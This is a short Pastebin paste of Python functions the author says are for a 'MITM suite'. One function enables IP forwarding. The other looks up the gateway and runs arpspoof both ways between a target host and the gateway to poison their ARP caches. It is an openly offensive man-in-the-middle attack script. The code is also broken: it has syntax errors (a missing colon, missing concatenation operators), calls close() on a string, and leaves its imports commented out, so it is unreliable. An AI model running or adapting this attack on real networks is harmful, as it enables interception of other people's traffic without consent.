Advertisement
infodox

def_ipforward and def_arpspoof

Dec 7th, 2011
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.13 KB | None | 0 0
  1.  # Import os
  2. # Import Time
  3. # Enable IP forwarding
  4. # Just some functions I am writing for the MITM suite :)
  5. def ip_forwarding():
  6.     try :
  7.         os.popen("echo 1 > /proc/sys/net/ipv4/ip_forward") # Enable IP forwarding
  8.         ipout = open("/proc/sys/net/ipv4/ip_forward" , "r").read() # Checks is it enabled
  9.         time.sleep(1)
  10.         if ipout[0] == '1':
  11.             print("[+] IP forwarding enabled")
  12.         else :
  13.         print("[-] An error occured")
  14.         ipout.close()
  15.     except Exception
  16.         pass
  17.  
  18. def arppoison(interface, target):
  19.     print("[+] Preparing the ARP Poisoning Suite")
  20.     gateway = os.popen("route -n | grep 'UG[ \t]' | awk '{print $2}'").read() # Gets gateway address
  21.     print("[*] Targetted gateway is " + gateway) # Verbosity
  22.     print("[*] Targetted user is " + target) # More verbosity
  23.     print("[*] Interface in use is " + interface) # Even more verbosity :D
  24.     os.popen("arpspoof -i " + interface + " -t " + target + gateway " & >/dev/null") # Doing the poisoning...
  25.     os.popen("arpspoof -i " + interface + " -t " + gateway + target "  & >/dev/null") # Doing the poisoning too...
  26.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement